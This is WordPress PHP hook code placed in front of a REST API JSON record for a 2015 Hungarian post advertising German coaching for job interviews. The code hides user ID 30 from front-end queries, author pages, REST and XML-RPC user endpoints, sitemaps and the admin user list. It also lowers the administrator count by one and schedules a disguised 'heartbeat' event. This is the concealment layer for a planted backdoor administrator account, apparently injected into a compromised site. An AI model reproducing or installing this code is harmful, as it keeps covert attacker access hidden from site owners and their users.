add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 30;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 30 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 30 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 30;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 30;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 30;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/30(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 30;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-30{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":900,"date":"2015-02-28T17:05:22","date_gmt":"2015-02-28T17:05:22","guid":{"rendered":"http:\/\/nemetfelkeszites.x3.hu\/?p=900"},"modified":"2015-03-07T17:52:10","modified_gmt":"2015-03-07T17:52:10","slug":"nemet-felkeszito-munkavallalashoz","status":"publish","type":"post","link":"https:\/\/nemetfelkeszites.x3.hu\/?p=900","title":{"rendered":"N\u00e9met felk\u00e9sz\u00edt\u00e9s \u00e1ll\u00e1sinterj\u00fahoz, munkav\u00e1llal\u00e1shoz"},"content":{"rendered":"<p>Kezd\u0151 nyelvtanul\u00f3k sz\u00e1m\u00e1ra n\u00e9met nyelvoktat\u00e1st, valamint szakmai nyelvi k\u00e9pz\u00e9st<br \/>\n(\u00e9p\u00edt\u0151ipar, eg\u00e9szs\u00e9g\u00fcgy, szolg\u00e1ltat\u00e1s ter\u00fcleten is )<br \/>\nv\u00e1llalok a k\u00fclf\u00f6ldi nyelvter\u00fcleten val\u00f3 \u00a0sikeres elhelyezked\u00e9s, \u00e1ll\u00e1sinterj\u00fak c\u00e9j\u00e1b\u00f3l.<\/p>\n<p><a href=\"http:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft  wp-image-905\" src=\"http:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit.jpg\" alt=\"koerperliche_arbeit\" width=\"158\" height=\"164\" srcset=\"https:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit.jpg 320w, https:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit-289x300.jpg 289w, https:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit-100x103.jpg 100w, https:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit-150x155.jpg 150w, https:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit-200x207.jpg 200w, https:\/\/nemetfelkeszites.x3.hu\/wp-content\/uploads\/2015\/02\/koerperliche_arbeit-300x311.jpg 300w\" sizes=\"(max-width: 158px) 100vw, 158px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kezd\u0151 nyelvtanul\u00f3k sz\u00e1m\u00e1ra n\u00e9met nyelvoktat\u00e1st, valamint szakmai nyelvi k\u00e9pz\u00e9st (\u00e9p\u00edt\u0151ipar, eg\u00e9szs\u00e9g\u00fcgy, szolg\u00e1ltat\u00e1s ter\u00fcleten is ) v\u00e1llalok a k\u00fclf\u00f6ldi nyelvter\u00fcleten val\u00f3 \u00a0sikeres elhelyezked\u00e9s, \u00e1ll\u00e1sinterj\u00fak c\u00e9j\u00e1b\u00f3l.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts\/900"}],"collection":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=900"}],"version-history":[{"count":22,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts\/900\/revisions"}],"predecessor-version":[{"id":932,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts\/900\/revisions\/932"}],"wp:attachment":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=900"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=900"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=900"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}